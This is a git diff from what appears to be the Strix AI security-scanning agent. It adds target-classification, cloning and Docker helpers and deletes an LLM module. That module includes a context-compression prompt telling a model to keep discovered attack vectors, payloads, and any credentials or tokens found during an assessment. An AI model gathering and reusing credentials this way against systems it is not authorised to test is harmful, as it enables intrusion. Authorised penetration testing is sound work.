skipped_non_git: + metadata["skipped_non_git_sources"] = skipped_non_git + if skipped_diff_scope: + metadata["skipped_diff_scope_sources"] = skipped_diff_scope + + return DiffScopeResult( + active=True, + mode=scope_mode, + instruction_block=instruction_block, + metadata=metadata, + ) + + +def _is_http_git_repo(url: str) -> bool: + check_url = f"{url.rstrip('/')}/info/refs?service=git-upload-pack" + try: + req = Request(check_url, headers={"User-Agent": "git/strix"}) # noqa: S310 + with urlopen(req, timeout=10) as resp: # noqa: S310 # nosec B310 + return "x-git-upload-pack-advertisement" in resp.headers.get("Content-Type", "") + except HTTPError as e: + return e.code == 401 + except (URLError, OSError, ValueError): + return False + + +def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911 + if not target or not isinstance(target, str): + raise ValueError("Target must be a non-empty string") + + target = target.strip() + + if target.startswith("git@"): + return "repository", {"target_repo": target} + + if target.startswith("git://"): + return "repository", {"target_repo": target} + + parsed = urlparse(target) + if parsed.scheme in ("http", "https"): + if parsed.username or parsed.password: + return "repository", {"target_repo": target} + if parsed.path.rstrip("/").endswith(".git"): + return "repository", {"target_repo": target} + if parsed.query or parsed.fragment: + return "web_application", {"target_url": target} + path_segments = [s for s in parsed.path.split("/") if s] + if len(path_segments) >= 2 and _is_http_git_repo(target): + return "repository", {"target_repo": target} + return "web_application", {"target_url": target} + + try: + ip_obj = ipaddress.ip_address(target) + except ValueError: + pass + else: + return "ip_address", {"target_ip": str(ip_obj)} + + path = Path(target).expanduser() + try: + if path.exists(): + if path.is_dir(): + return "local_code", {"target_path": str(path.resolve())} + raise ValueError(f"Path exists but is not a directory: {target}") + except (OSError, RuntimeError) as e: + raise ValueError(f"Invalid path: {target} - {e!s}") from e + + if target.endswith(".git"): + return "repository", {"target_repo": target} + + if "/" in target: + host_part, _, path_part = target.partition("/") + if "." in host_part and not host_part.startswith(".") and path_part: + full_url = f"https://{target}" + if _is_http_git_repo(full_url): + return "repository", {"target_repo": full_url} + return "web_application", {"target_url": full_url} + + if "." in target and "/" not in target and not target.startswith("."): + parts = target.split(".") + if len(parts) >= 2 and all(p and p.strip() for p in parts): + return "web_application", {"target_url": f"https://{target}"} + + raise ValueError( + f"Invalid target: {target}\n" + "Target must be one of:\n" + "- A valid URL (http:// or https://)\n" + "- A Git repository URL (https://host/org/repo or git@host:org/repo.git)\n" + "- A local directory path\n" + "- A domain name (e.g., example.com)\n" + "- An IP address (e.g., 192.168.1.10)" + ) + + +def sanitize_name(name: str) -> str: + sanitized = re.sub(r"[^A-Za-z0-9._-]", "-", name.strip()) + return sanitized or "target" + + +def derive_repo_base_name(repo_url: str) -> str: + if repo_url.endswith("/"): + repo_url = repo_url[:-1] + + if ":" in repo_url and repo_url.startswith("git@"): + path_part = repo_url.split(":", 1)[1] + else: + path_part = urlparse(repo_url).path or repo_url + + candidate = path_part.split("/")[-1] + if candidate.endswith(".git"): + candidate = candidate[:-4] + + return sanitize_name(candidate or "repository") + + +def derive_local_base_name(path_str: str) -> str: + try: + base = Path(path_str).resolve().name + except (OSError, RuntimeError): + base = Path(path_str).name + return sanitize_name(base or "workspace") + + +def assign_workspace_subdirs(targets_info: list[dict[str, Any]]) -> None: + name_counts: dict[str, int] = {} + + for target in targets_info: + target_type = target["type"] + details = target["details"] + + base_name: str | None = None + if target_type == "repository": + base_name = derive_repo_base_name(details["target_repo"]) + elif target_type == "local_code": + base_name = derive_local_base_name(details.get("target_path", "local")) + + if base_name is None: + continue + + count = name_counts.get(base_name, 0) + 1 + name_counts[base_name] = count + + workspace_subdir = base_name if count == 1 else f"{base_name}-{count}" + + details["workspace_subdir"] = workspace_subdir + + +def is_whitebox_scan(targets_info: list[dict[str, Any]]) -> bool: + """True iff any target is a local source tree (whitebox / source-aware).""" + return any(t.get("type") == "local_code" for t in targets_info or []) + + +def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, Any]]: + local_sources: list[dict[str, Any]] = [] + + for target_info in targets_info: + details = target_info["details"] + workspace_subdir = details.get("workspace_subdir") + + if target_info["type"] == "local_code" and "target_path" in details: + local_sources.append( + { + "source_path": details["target_path"], + "workspace_subdir": workspace_subdir, + "mount": bool(details.get("mount", False)), + } + ) + + elif target_info["type"] == "repository" and "cloned_repo_path" in details: + local_sources.append( + { + "source_path": details["cloned_repo_path"], + "workspace_subdir": workspace_subdir, + "mount": False, + } + ) + + return local_sources + + +def directory_size_bytes(path: Path) -> int: + """Total size in bytes of regular files under ``path`` (symlinks not followed). + + Best-effort: files that disappear or can't be stat'd mid-walk are skipped. + Used as a cheap (stat-only) pre-flight to estimate the cost of streaming a + local target into the sandbox before we actually try to copy it. + + Directories that can't be listed (e.g. permission denied) are logged and + skipped rather than silently dropped — so an under-count is at least + visible — but the returned total then excludes their contents. + """ + + def _on_walk_error(error: OSError) -> None: + logger.warning("Could not read %s while measuring size: %s", error.filename, error) + + total = 0 + for root, _dirs, files in os.walk(path, followlinks=False, onerror=_on_walk_error): + for name in files: + file_path = os.path.join(root, name) # noqa: PTH118 + try: + if os.path.islink(file_path): # noqa: PTH114 + continue + total += os.path.getsize(file_path) # noqa: PTH202 + except OSError: + continue + return total + + +def find_oversized_local_targets( + targets_info: list[dict[str, Any]], max_bytes: int +) -> list[tuple[str, int]]: + """Return ``(path, size_bytes)`` for non-mounted local targets over ``max_bytes``. + + Mounted targets are bind-mounted rather than copied, so their size is + irrelevant and they are excluded. A ``max_bytes`` of zero or less disables + the check entirely (returns no targets). + """ + if max_bytes <= 0: + return [] + oversized: list[tuple[str, int]] = [] + for target in targets_info: + if target.get("type") != "local_code": + continue + details = target.get("details") or {} + if details.get("mount"): + continue + target_path = details.get("target_path") + if not target_path: + continue + size = directory_size_bytes(Path(target_path)) + if size > max_bytes: + oversized.append((target_path, size)) + return oversized + + +def build_mount_targets_info(mount_paths: list[str]) -> list[dict[str, Any]]: + """Build ``targets_info`` entries for ``--mount`` directories. + + Each path must be an existing local directory; it is bind-mounted into the + sandbox (read-only) instead of being copied file-by-file. Raises + ``ValueError`` for an empty path, or one that does not exist or is not a + directory. + """ + targets_info: list[dict[str, Any]] = [] + for raw in mount_paths: + if not raw or not raw.strip(): + raise ValueError("--mount path must not be empty.") + path = Path(raw).expanduser() + try: + resolved = path.resolve() + is_dir = resolved.is_dir() + except (OSError, RuntimeError) as e: + raise ValueError(f"Invalid mount path '{raw}': {e!s}") from e + if not is_dir: + raise ValueError( + f"Mount path '{raw}' is not an existing directory. " + "--mount requires a path to a local directory." + ) + targets_info.append( + { + "type": "local_code", + "details": {"target_path": str(resolved), "mount": True}, + "original": str(resolved), + } + ) + return targets_info + + +def dedupe_local_targets(targets_info: list[dict[str, Any]]) -> list[dict[str, Any]]: + """Collapse local_code targets that resolve to the same path. + + When a directory is supplied both as a copied ``--target`` and via + ``--mount`` (or as duplicate values of either), keep one entry and prefer + the bind-mounted one — so the same tree is never both streamed in and + mounted. Order is preserved; non-local targets pass through untouched. + """ + result: list[dict[str, Any]] = [] + index_by_path: dict[str, int] = {} + for target in targets_info: + details = target.get("details") or {} + path = details.get("target_path") + if target.get("type") != "local_code" or not path: + result.append(target) + continue + existing = index_by_path.get(path) + if existing is None: + index_by_path[path] = len(result) + result.append(target) + elif details.get("mount") and not (result[existing].get("details") or {}).get("mount"): + result[existing] = target # bind mount supersedes the copied entry + return result + + +def _is_localhost_host(host: str) -> bool: + host_lower = host.lower().strip("[]") + + if host_lower in ("localhost", "0.0.0.0", "::1"): # nosec B104 + return True + + try: + ip = ipaddress.ip_address(host_lower) + if isinstance(ip, ipaddress.IPv4Address): + return ip.is_loopback # 127.0.0.0/8 + if isinstance(ip, ipaddress.IPv6Address): + return ip.is_loopback # ::1 + except ValueError: + pass + + return False + + +def rewrite_localhost_targets(targets_info: list[dict[str, Any]], host_gateway: str) -> None: + from yarl import URL + + for target_info in targets_info: + target_type = target_info.get("type") + details = target_info.get("details", {}) + + if target_type == "web_application": + target_url = details.get("target_url", "") + try: + url = URL(target_url) + except (ValueError, TypeError): + continue + + if url.host and _is_localhost_host(url.host): + details["target_url"] = str(url.with_host(host_gateway)) + + elif target_type == "ip_address": + target_ip = details.get("target_ip", "") + if target_ip and _is_localhost_host(target_ip): + details["target_ip"] = host_gateway + + +def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None) -> str: + console = Console() + + git_executable = shutil.which("git") + if git_executable is None: + raise FileNotFoundError("Git executable not found in PATH") + + temp_dir = Path(tempfile.gettempdir()) / "strix_repos" / run_name + temp_dir.mkdir(parents=True, exist_ok=True) + + if dest_name: + repo_name = dest_name + else: + repo_name = Path(repo_url).stem if repo_url.endswith(".git") else Path(repo_url).name + + clone_path = temp_dir / repo_name + + if clone_path.exists(): + shutil.rmtree(clone_path) + + try: + with console.status(f"[bold cyan]Cloning repository {repo_url}...", spinner="dots"): + subprocess.run( # noqa: S603 + [ + git_executable, + "clone", + repo_url, + str(clone_path), + ], + capture_output=True, + text=True, + check=True, + ) + + return str(clone_path.absolute()) + + except subprocess.CalledProcessError as e: + error_text = Text() + error_text.append("REPOSITORY CLONE FAILED", style="bold red") + error_text.append("\n\n", style="white") + error_text.append(f"Could not clone repository: {repo_url}\n", style="white") + error_text.append( + f"Error: {e.stderr if hasattr(e, 'stderr') and e.stderr else str(e)}", style="dim red" + ) + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + except FileNotFoundError: + error_text = Text() + error_text.append("GIT NOT FOUND", style="bold red") + error_text.append("\n\n", style="white") + error_text.append("Git is not installed or not available in PATH.\n", style="white") + error_text.append("Please install Git to clone repositories.\n", style="white") + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + + +def check_docker_connection() -> Any: + try: + return docker.from_env() + except DockerException: + console = Console() + error_text = Text() + error_text.append("DOCKER NOT AVAILABLE", style="bold red") + error_text.append("\n\n", style="white") + error_text.append("Cannot connect to Docker daemon.\n", style="white") + error_text.append( + "Please ensure Docker Desktop is installed and running, and try running strix again.\n", + style="white", + ) + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + console.print("\n", panel, "\n") + raise RuntimeError("Docker not available") from None + + +def image_exists(client: Any, image_name: str) -> bool: + try: + client.images.get(image_name) + except ImageNotFound: + return False + else: + return True + + +def update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None: + if "Pull complete" in layer_status or "Already exists" in layer_status: + layers_info[layer_id] = "✓" + elif "Downloading" in layer_status: + layers_info[layer_id] = "↓" + elif "Extracting" in layer_status: + layers_info[layer_id] = "📦" + elif "Waiting" in layer_status: + layers_info[layer_id] = "⏳" + else: + layers_info[layer_id] = "•" + + +def process_pull_line( + line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str +) -> str: + if "id" in line and "status" in line: + layer_id = line["id"] + update_layer_status(layers_info, layer_id, line["status"]) + + completed = sum(1 for v in layers_info.values() if v == "✓") + total = len(layers_info) + + if total > 0: + update_msg = f"[bold cyan]Progress: {completed}/{total} layers complete" + if update_msg != last_update: + status.update(update_msg) + return update_msg + + elif "status" in line and "id" not in line: + global_status = line["status"] + if "Pulling from" in global_status: + status.update("[bold cyan]Fetching image manifest...") + elif "Digest:" in global_status: + status.update("[bold cyan]Verifying image...") + elif "Status:" in global_status: + status.update("[bold cyan]Finalizing...") + + return last_update + + +def validate_config_file(config_path: str) -> Path: + console = Console() + path = Path(config_path) + + if not path.exists(): + console.print(f"[bold red]Error:[/] Config file not found: {config_path}") + sys.exit(1) + + if path.suffix != ".json": + console.print("[bold red]Error:[/] Config file must be a .json file") + sys.exit(1) + + try: + with path.open("r", encoding="utf-8") as f: + data = json.load(f) + except json.JSONDecodeError as e: + console.print(f"[bold red]Error:[/] Invalid JSON in config file: {e}") + sys.exit(1) + + if not isinstance(data, dict): + console.print("[bold red]Error:[/] Config file must contain a JSON object") + sys.exit(1) + + if "env" not in data or not isinstance(data.get("env"), dict): + console.print("[bold red]Error:[/] Config file must have an 'env' object") + sys.exit(1) + + return path diff --git a/strix/llm/__init__.py b/strix/llm/__init__.py deleted file mode 100644 index bc23f405d..000000000 --- a/strix/llm/__init__.py +++ /dev/null @@ -1,12 +0,0 @@ -import litellm - -from .config import LLMConfig -from .llm import LLM - - -__all__ = [ - "LLM", - "LLMConfig", -] - -litellm.drop_params = True diff --git a/strix/llm/config.py b/strix/llm/config.py deleted file mode 100644 index 6e8b81468..000000000 --- a/strix/llm/config.py +++ /dev/null @@ -1,19 +0,0 @@ -import os - - -class LLMConfig: - def __init__( - self, - model_name: str | None = None, - temperature: float = 0, - enable_prompt_caching: bool = True, - prompt_modules: list[str] | None = None, - ): - self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") - - if not self.model_name: - raise ValueError("STRIX_LLM environment variable must be set and not empty") - - self.temperature = max(0.0, min(1.0, temperature)) - self.enable_prompt_caching = enable_prompt_caching - self.prompt_modules = prompt_modules or [] diff --git a/strix/llm/llm.py b/strix/llm/llm.py deleted file mode 100644 index 65804d1b1..000000000 --- a/strix/llm/llm.py +++ /dev/null @@ -1,310 +0,0 @@ -import logging -import os -from dataclasses import dataclass -from enum import Enum -from pathlib import Path -from typing import Any - -import litellm -from jinja2 import ( - Environment, - FileSystemLoader, - select_autoescape, -) -from litellm import ModelResponse, completion_cost -from litellm.utils import supports_prompt_caching - -from strix.llm.config import LLMConfig -from strix.llm.memory_compressor import MemoryCompressor -from strix.llm.request_queue import get_global_queue -from strix.llm.utils import _truncate_to_first_function, parse_tool_invocations -from strix.prompts import load_prompt_modules -from strix.tools import get_tools_prompt - - -logger = logging.getLogger(__name__) - -api_key = os.getenv("LLM_API_KEY") -if api_key: - litellm.api_key = api_key - - -class StepRole(str, Enum): - AGENT = "agent" - USER = "user" - SYSTEM = "system" - - -@dataclass -class LLMResponse: - content: str - tool_invocations: list[dict[str, Any]] | None = None - scan_id: str | None = None - step_number: int = 1 - role: StepRole = StepRole.AGENT - - -@dataclass -class RequestStats: - input_tokens: int = 0 - output_tokens: int = 0 - cached_tokens: int = 0 - cache_creation_tokens: int = 0 - cost: float = 0.0 - requests: int = 0 - failed_requests: int = 0 - - def to_dict(self) -> dict[str, int | float]: - return { - "input_tokens": self.input_tokens, - "output_tokens": self.output_tokens, - "cached_tokens": self.cached_tokens, - "cache_creation_tokens": self.cache_creation_tokens, - "cost": round(self.cost, 4), - "requests": self.requests, - "failed_requests": self.failed_requests, - } - - -class LLM: - def __init__(self, config: LLMConfig, agent_name: str | None = None): - self.config = config - self.agent_name = agent_name - self._total_stats = RequestStats() - self._last_request_stats = RequestStats() - - self.memory_compressor = MemoryCompressor() - - if agent_name: - prompt_dir = Path(__file__).parent.parent / "agents" / agent_name - prompts_dir = Path(__file__).parent.parent / "prompts" - - loader = FileSystemLoader([prompt_dir, prompts_dir]) - self.jinja_env = Environment( - loader=loader, - autoescape=select_autoescape(enabled_extensions=(), default_for_string=False), - ) - - try: - prompt_module_content = load_prompt_modules( - self.config.prompt_modules or [], self.jinja_env - ) - - def get_module(name: str) -> str: - return prompt_module_content.get(name, "") - - self.jinja_env.globals["get_module"] = get_module - - self.system_prompt = self.jinja_env.get_template("system_prompt.jinja").render( - get_tools_prompt=get_tools_prompt, - loaded_module_names=list(prompt_module_content.keys()), - **prompt_module_content, - ) - except (FileNotFoundError, OSError, ValueError) as e: - logger.warning(f"Failed to load system prompt for {agent_name}: {e}") - self.system_prompt = "You are a helpful AI assistant." - else: - self.system_prompt = "You are a helpful AI assistant." - - def _add_cache_control_to_content( - self, content: str | list[dict[str, Any]] - ) -> str | list[dict[str, Any]]: - if isinstance(content, str): - return [{"type": "text", "text": content, "cache_control": {"type": "ephemeral"}}] - if isinstance(content, list) and content: - last_item = content[-1] - if isinstance(last_item, dict) and last_item.get("type") == "text": - return content[:-1] + [{**last_item, "cache_control": {"type": "ephemeral"}}] - return content - - def _is_anthropic_model(self) -> bool: - if not self.config.model_name: - return False - model_lower = self.config.model_name.lower() - return any(provider in model_lower for provider in ["anthropic/", "claude"]) - - def _calculate_cache_interval(self, total_messages: int) -> int: - if total_messages <= 1: - return 10 - - max_cached_messages = 3 - non_system_messages = total_messages - 1 - - interval = 10 - while non_system_messages // interval > max_cached_messages: - interval += 10 - - return interval - - def _prepare_cached_messages(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]: - if ( - not self.config.enable_prompt_caching - or not supports_prompt_caching(self.config.model_name) - or not messages - ): - return messages - - if not self._is_anthropic_model(): - return messages - - cached_messages = list(messages) - - if cached_messages and cached_messages[0].get("role") == "system": - system_message = cached_messages[0].copy() - system_message["content"] = self._add_cache_control_to_content( - system_message["content"] - ) - cached_messages[0] = system_message - - total_messages = len(cached_messages) - if total_messages > 1: - interval = self._calculate_cache_interval(total_messages) - - cached_count = 0 - for i in range(interval, total_messages, interval): - if cached_count >= 3: - break - - if i < len(cached_messages): - message = cached_messages[i].copy() - message["content"] = self._add_cache_control_to_content(message["content"]) - cached_messages[i] = message - cached_count += 1 - - return cached_messages - - async def generate( - self, - conversation_history: list[dict[str, Any]], - scan_id: str | None = None, - step_number: int = 1, - ) -> LLMResponse: - messages = [{"role": "system", "content": self.system_prompt}] - - compressed_history = list(self.memory_compressor.compress_history(conversation_history)) - - conversation_history.clear() - conversation_history.extend(compressed_history) - messages.extend(compressed_history) - - cached_messages = self._prepare_cached_messages(messages) - - try: - response = await self._make_request(cached_messages) - self._update_usage_stats(response) - - content = "" - if ( - response.choices - and hasattr(response.choices[0], "message") - and response.choices[0].message - ): - content = getattr(response.choices[0].message, "content", "") or "" - - content = _truncate_to_first_function(content) - - if "" in content: - function_end_index = content.find("") + len("") - content = content[:function_end_index] - - tool_invocations = parse_tool_invocations(content) - - return LLMResponse( - scan_id=scan_id, - step_number=step_number, - role=StepRole.AGENT, - content=content, - tool_invocations=tool_invocations if tool_invocations else None, - ) - - except (ValueError, TypeError, RuntimeError): - logger.exception("Error in LLM generation") - return LLMResponse( - scan_id=scan_id, - step_number=step_number, - role=StepRole.AGENT, - content="An error occurred while generating the response", - tool_invocations=None, - ) - - @property - def usage_stats(self) -> dict[str, dict[str, int | float]]: - return { - "total": self._total_stats.to_dict(), - "last_request": self._last_request_stats.to_dict(), - } - - def get_cache_config(self) -> dict[str, bool]: - return { - "enabled": self.config.enable_prompt_caching, - "supported": supports_prompt_caching(self.config.model_name), - } - - async def _make_request( - self, - messages: list[dict[str, Any]], - ) -> ModelResponse: - completion_args = { - "model": self.config.model_name, - "messages": messages, - "temperature": self.config.temperature, - "stop": [""], - } - - queue = get_global_queue() - response = await queue.make_request(completion_args) - - self._total_stats.requests += 1 - self._last_request_stats = RequestStats(requests=1) - - return response - - def _update_usage_stats(self, response: ModelResponse) -> None: - try: - if hasattr(response, "usage") and response.usage: - input_tokens = getattr(response.usage, "prompt_tokens", 0) - output_tokens = getattr(response.usage, "completion_tokens", 0) - - cached_tokens = 0 - cache_creation_tokens = 0 - - if hasattr(response.usage, "prompt_tokens_details"): - prompt_details = response.usage.prompt_tokens_details - if hasattr(prompt_details, "cached_tokens"): - cached_tokens = prompt_details.cached_tokens or 0 - - if hasattr(response.usage, "cache_creation_input_tokens"): - cache_creation_tokens = response.usage.cache_creation_input_tokens or 0 - - else: - input_tokens = 0 - output_tokens = 0 - cached_tokens = 0 - cache_creation_tokens = 0 - - try: - cost = completion_cost(response) or 0.0 - except (ValueError, TypeError, RuntimeError) as e: - logger.warning(f"Failed to calculate cost: {e}") - cost = 0.0 - - self._total_stats.input_tokens += input_tokens - self._total_stats.output_tokens += output_tokens - self._total_stats.cached_tokens += cached_tokens - self._total_stats.cache_creation_tokens += cache_creation_tokens - self._total_stats.cost += cost - - self._last_request_stats.input_tokens = input_tokens - self._last_request_stats.output_tokens = output_tokens - self._last_request_stats.cached_tokens = cached_tokens - self._last_request_stats.cache_creation_tokens = cache_creation_tokens - self._last_request_stats.cost = cost - - if cached_tokens > 0: - logger.info(f"Cache hit: {cached_tokens} cached tokens, {input_tokens} new tokens") - if cache_creation_tokens > 0: - logger.info(f"Cache creation: {cache_creation_tokens} tokens written to cache") - - logger.info(f"Usage stats: {self.usage_stats}") - except (AttributeError, TypeError, ValueError) as e: - logger.warning(f"Failed to update usage stats: {e}") diff --git a/strix/llm/memory_compressor.py b/strix/llm/memory_compressor.py deleted file mode 100644 index 28d19ebac..000000000 --- a/strix/llm/memory_compressor.py +++ /dev/null @@ -1,206 +0,0 @@ -import logging -import os -from typing import Any - -import litellm - - -logger = logging.getLogger(__name__) - - -MAX_TOTAL_TOKENS = 100_000 -MIN_RECENT_MESSAGES = 15 - -SUMMARY_PROMPT_TEMPLATE = """You are an agent performing context -condensation for a security agent. Your job is to compress scan data while preserving -ALL operationally critical information for continuing the security assessment. - -CRITICAL ELEMENTS TO PRESERVE: -- Discovered vulnerabilities and potential attack vectors -- Scan results and tool outputs (compressed but maintaining key findings) -- Access credentials, tokens, or authentication details found -- System architecture insights and potential weak points -- Progress made in the assessment -- Failed attempts and dead ends (to avoid duplication) -- Any decisions made about the testing approach - -COMPRESSION GUIDELINES: -- Preserve exact technical details (URLs, paths, parameters, payloads) -- Summarize verbose tool outputs while keeping critical findings -- Maintain version numbers, specific technologies identified -- Keep exact error messages that might indicate vulnerabilities -- Compress repetitive or similar findings into consolidated form - -Remember: Another security agent will use this summary to continue the assessment. -They must be able to pick up exactly where you left off without losing any -operational advantage or context needed to find vulnerabilities. - -CONVERSATION SEGMENT TO SUMMARIZE: -{conversation} - -Provide a technically precise summary that preserves all operational security context while -keeping the summary concise and to the point.""" - - -def _count_tokens(text: str, model: str) -> int: - try: - count = litellm.token_counter(model=model, text=text) - return int(count) - except Exception: - logger.exception("Failed to count tokens") - return len(text) // 4 # Rough estimate - - -def _get_message_tokens(msg: dict[str, Any], model: str) -> int: - content = msg.get("content", "") - if isinstance(content, str): - return _count_tokens(content, model) - if isinstance(content, list): - return sum( - _count_tokens(item.get("text", ""), model) - for item in content - if isinstance(item, dict) and item.get("type") == "text" - ) - return 0 - - -def _extract_message_text(msg: dict[str, Any]) -> str: - content = msg.get("content", "") - if isinstance(content, str): - return content - - if isinstance(content, list): - parts = [] - for item in content: - if isinstance(item, dict): - if item.get("type") == "text": - parts.append(item.get("text", "")) - elif item.get("type") == "image_url": - parts.append("[IMAGE]") - return " ".join(parts) - - return str(content) - - -def _summarize_messages( - messages: list[dict[str, Any]], - model: str, -) -> dict[str, Any]: - if not messages: - empty_summary = "{text}" - return { - "role": "assistant", - "content": empty_summary.format(text="No messages to summarize"), - } - - formatted = [] - for msg in messages: - role = msg.get("role", "unknown") - text = _extract_message_text(msg) - formatted.append(f"{role}: {text}") - - conversation = "\n".join(formatted) - prompt = SUMMARY_PROMPT_TEMPLATE.format(conversation=conversation) - - try: - completion_args = { - "model": model, - "messages": [{"role": "user", "content": prompt}], - } - - response = litellm.completion(**completion_args) - summary = response.choices[0].message.content - summary_msg = "{text}" - return { - "role": "assistant", - "content": summary_msg.format(count=len(messages), text=summary), - } - except Exception: - logger.exception("Failed to summarize messages") - return messages[0] - - -def _handle_images(messages: list[dict[str, Any]], max_images: int) -> None: - image_count = 0 - for msg in reversed(messages): - content = msg.get("content", []) - if isinstance(content, list): - for item in content: - if isinstance(item, dict) and item.get("type") == "image_url": - if image_count >= max_images: - item.update( - { - "type": "text", - "text": "[Previously attached image removed to preserve context]", - } - ) - else: - image_count += 1 - - -class MemoryCompressor: - def __init__( - self, - max_images: int = 3, - model_name: str | None = None, - ): - self.max_images = max_images - self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") - - if not self.model_name: - raise ValueError("STRIX_LLM environment variable must be set and not empty") - - def compress_history( - self, - messages: list[dict[str, Any]], - ) -> list[dict[str, Any]]: - """Compress conversation history to stay within token limits. - - Strategy: - 1. Handle image limits first - 2. Keep all system messages - 3. Keep minimum recent messages - 4. Summarize older messages when total tokens exceed limit - - The compression preserves: - - All system messages unchanged - - Most recent messages intact - - Critical security context in summaries - - Recent images for visual context - - Technical details and findings - """ - if not messages: - return messages - - _handle_images(messages, self.max_images) - - system_msgs = [] - regular_msgs = [] - for msg in messages: - if msg.get("role") == "system": - system_msgs.append(msg) - else: - regular_msgs.append(msg) - - recent_msgs = regular_msgs[-MIN_RECENT_MESSAGES:] - old_msgs = regular_msgs[:-MIN_RECENT_MESSAGES] - - # Type assertion since we ensure model_name is not None in __init__ - model_name: str = self.model_name # type: ignore[assignment] - - total_tokens = sum( - _get_message_tokens(msg, model_name) for msg in system_msgs + regular_msgs - ) - - if total_tokens <= MAX_TOTAL_TOKENS * 0.9: - return messages - - compressed = [] - chunk_size = 10 - for i in range(0, len(old_msgs), chunk_size): - chunk = old_msgs[i : i + chunk_size] - summary = _summarize_messages(chunk, model_name) - if summary: - compressed.append(summary) - - return system_msgs + compressed + recent_msgs diff --git a/strix/llm/request_queue.py b/strix/llm/request_queue.py deleted file mode 100644 index 3ea77617a..000000000 --- a/strix/llm/request_queue.py +++ /dev/null @@ -1,63 +0,0 @@ -import asyncio -import logging -import threading -import time -from typing import Any - -from litellm import ModelResponse, completion -from tenacity import retry, stop_after_attempt, wait_exponential - - -logger = logging.getLogger(__name__) - - -class LLMRequestQueue: - def __init__(self, max_concurrent: int = 6, delay_between_requests: float = 1.0): - self.max_concurrent = max_concurrent - self.delay_between_requests = delay_between_requests - self._semaphore = threading.BoundedSemaphore(max_concurrent) - self._last_request_time = 0.0 - self._lock = threading.Lock() - - async def make_request(self, completion_args: dict[str, Any]) -> ModelResponse: - try: - while not self._semaphore.acquire(timeout=0.2): - await asyncio.sleep(0.1) - - with self._lock: - now = time.time() - time_since_last = now - self._last_request_time - sleep_needed = max(0, self.delay_between_requests - time_since_last) - self._last_request_time = now + sleep_needed - - if sleep_needed > 0: - await asyncio.sleep(sleep_needed) - - return await self._reliable_request(completion_args) - finally: - self._semaphore.release() - - @retry( # type: ignore[misc] - stop=stop_after_attempt(15), - wait=wait_exponential(multiplier=1.2, min=1, max=300), - reraise=True, - ) - async def _reliable_request(self, completion_args: dict[str, Any]) -> ModelResponse: - response = completion(**completion_args, stream=False) - if isinstance(response, ModelResponse): - return response - self._raise_unexpected_response() - raise RuntimeError("Unreachable code") - - def _raise_unexpected_response(self) -> None: - raise RuntimeError("Unexpected response type") - - -_global_queue: LLMRequestQueue | None = None - - -def get_global_queue() -> LLMRequestQueue: - global _global_queue # noqa: PLW0603 - if _global_queue is None: - _global_queue = LLMRequestQueue() - return _global_queue diff --git a/strix/llm/utils.py b/strix/llm/utils.py deleted file mode 100644 index 525876869..000000000 --- a/strix/llm/utils.py +++ /dev/null @@ -1,84 +0,0 @@ -import re -from typing import Any - - -def _truncate_to_first_function(content: str) -> str: - if not content: - return content - - function_starts = [match.start() for match in re.finditer(r"= 2: - second_function_start = function_starts[1] - - return content[:second_function_start].rstrip() - - return content - - -def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None: - content = _fix_stopword(content) - - tool_invocations: list[dict[str, Any]] = [] - - fn_regex_pattern = r"]+)>\n?(.*?)" - fn_param_regex_pattern = r"]+)>(.*?)" - - fn_matches = re.finditer(fn_regex_pattern, content, re.DOTALL) - - for fn_match in fn_matches: - fn_name = fn_match.group(1) - fn_body = fn_match.group(2) - - param_matches = re.finditer(fn_param_regex_pattern, fn_body, re.DOTALL) - - args = {} - for param_match in param_matches: - param_name = param_match.group(1) - param_value = param_match.group(2).strip() - args[param_name] = param_value - - tool_invocations.append({"toolName": fn_name, "args": args}) - - return tool_invocations if tool_invocations else None - - -def _fix_stopword(content: str) -> str: - if "" - elif not content.rstrip().endswith(""): - content = content + "\n" - return content - - -def format_tool_call(tool_name: str, args: dict[str, Any]) -> str: - xml_parts = [f""] - - for key, value in args.items(): - xml_parts.append(f"{value}") - - xml_parts.append("") - - return "\n".join(xml_parts) - - -def clean_content(content: str) -> str: - if not content: - return "" - - content = _fix_stopword(content) - - tool_pattern = r"]+>.*?" - cleaned = re.sub(tool_pattern, "", content, flags=re.DOTALL) - - hidden_xml_patterns = [ - r".*?", - r".*?", - ] - for pattern in hidden_xml_patterns: - cleaned = re.sub(pattern, "", cleaned, flags=re.DOTALL | re.IGNORECASE) - - cleaned = re.sub(r"\n\s*\n", "\n\n", cleaned) - - return cleaned.strip() diff --git a/strix/prompts/__init__.py b/strix/prompts/__init__.py deleted file mode 100644 index a08f853d6..000000000 --- a/strix/prompts/__init__.py +++ /dev/null @@ -1,113 +0,0 @@ -from pathlib import Path - -from jinja2 import Environment - - -def get_available_prompt_modules() -> dict[str, list[str]]: - modules_dir = Path(__file__).parent - available_modules = {} - - for category_dir in modules_dir.iterdir(): - if category_dir.is_dir() and not category_dir.name.startswith("__"): - category_name = category_dir.name - modules = [] - - for file_path in category_dir.glob("*.jinja"): - module_name = file_path.stem - modules.append(module_name) - - if modules: - available_modules[category_name] = sorted(modules) - - return available_modules - - -def get_all_module_names() -> set[str]: - all_modules = set() - for category_modules in get_available_prompt_modules().values(): - all_modules.update(category_modules) - return all_modules - - -def validate_module_names(module_names: list[str]) -> dict[str, list[str]]: - available_modules = get_all_module_names() - valid_modules = [] - invalid_modules = [] - - for module_name in module_names: - if module_name in available_modules: - valid_modules.append(module_name) - else: - invalid_modules.append(module_name) - - return {"valid": valid_modules, "invalid": invalid_modules} - - -def generate_modules_description() -> str: - available_modules = get_available_prompt_modules() - - if not available_modules: - return "No prompt modules available" - - description_parts = [] - - for category, modules in available_modules.items(): - modules_str = ", ".join(modules) 